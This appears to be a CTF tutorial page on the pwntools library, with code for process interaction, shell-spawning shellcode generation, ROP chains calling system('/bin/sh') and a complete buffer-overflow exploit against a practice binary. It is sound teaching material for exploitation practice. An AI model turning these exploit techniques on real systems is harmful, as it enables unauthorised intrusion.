Skip to main content

53. Exploiting CTF Binaries with Pwntools

Binary exploitation is one of the most challenging yet rewarding CTF categories. Understanding the underlying vulnerability matters, but having the right tools can make the difference between solving a challenge and getting stuck. Enter pwntools, the Python library that has become the de facto standard for CTF binary exploitation.

What Is Pwntools?​

Pwntools is a CTF framework and exploit-development library written in Python. It provides a clean, intuitive API for common exploit-development tasks such as process interaction, shellcode generation, and ROP-chain construction. Whether you are exploiting a local binary or attacking a remote service, pwntools streamlines the workflow.

Installation​

Getting started is simple:

pip install pwntools

For the latest development version:

git clone https://github.com/Gallopsled/pwntools
cd pwntools
pip install -e .

Core Features​

Process Interaction​

The most basic use case is interacting with a process. Pwntools makes this very simple:

from pwn import *

# Local process
p = process('./vulnerable_binary')

# Remote connection
r = remote('ctf.example.com', 1337)

# Send and receive data
p.sendline(b'A' * 100)
data = p.recv(1024)
p.interactive()  # Switch to interactive mode

Shellcode Generation​

Need shellcode? Pwntools handles it:

from pwn import *

# Generate shellcode for execve("/bin/sh")
shellcode = asm(shellcraft.sh())

# Architecture-specific shellcode
context.arch = 'amd64'
shellcode_64 = asm(shellcraft.amd64.linux.sh())

Building ROP Chains​

Return-Oriented Programming is essential to modern exploitation. Pwntools includes a powerful ROP module:

from pwn import *

elf = ELF('./binary')
rop = ROP(elf)

# Find gadgets and build a chain
rop.call('system', [next(elf.search(b'/bin/sh'))])
payload = b'A' * 72 + rop.chain()

Packing and Unpacking​

Converting addresses to bytes is essential in exploitation:

from pwn import *

# Pack addresses (respects context.arch)
address = p64(0xdeadbeef)  # 64-bit
address = p32(0xcafebabe)  # 32-bit

# Unpack data
value = u64(b'\xef\xbe\xad\xde\x00\x00\x00\x00')

Practical Example: Buffer Overflow​

A complete exploit for a classic buffer overflow:

from pwn import *

# Configure the target
elf = ELF('./vuln')
p = process('./vuln')

# Find the offset
offset = 72

# Build the exploit
payload = flat(
    b'A' * offset,
    elf.symbols['win']  # Jump to the win function
)

p.sendline(payload)
p.interactive()

Advanced Features​

Cyclic Patterns​

Cyclic patterns make finding offsets easy:

from pwn import *

# Generate a unique pattern
pattern = cyclic(200)

# Find the offset after a crash
offset = cyclic_find(0x61616171)  # 'qaaa'

ELF Parsing​

Pwntools parses ELF binaries and extracts useful information:

from pwn import *

elf = ELF('./binary')
print(hex(elf.symbols['main']))
print(hex(elf.got['puts']))
print(hex(elf.plt['system']))

Logging​

Built-in logging makes debugging easier:

from pwn import *

log.info("Starting exploit...")
log.success("Shell obtained!")
log.warning("ASLR detected")
log.error("Exploit failed")

Best Practices​

Set the context early: Always configure the target architecture and OS at the beginning:

context.arch = 'amd64'
context.os = 'linux'

Use templates: Create reusable exploit templates for common scenarios.

Debug mode: Enable debugging to see all communication:

context.log_level = 'debug'

Test locally first: Always test an exploit against the local binary before attacking the remote target.

Closing Thoughts​

Pwntools transforms binary exploitation from tedious byte manipulation into expressive Python code. Its extensive feature set handles boilerplate and lets you focus on the vulnerability itself. Whether you are a CTF beginner or a veteran player, mastering pwntools will substantially improve your binary-exploitation capabilities.

The library is actively maintained, well documented, and backed by a strong community. Start with simple buffer overflows, then progress to ROP chains, format strings, and heap exploitation. Armed with pwntools, you will be pwning challenges in no time.

References: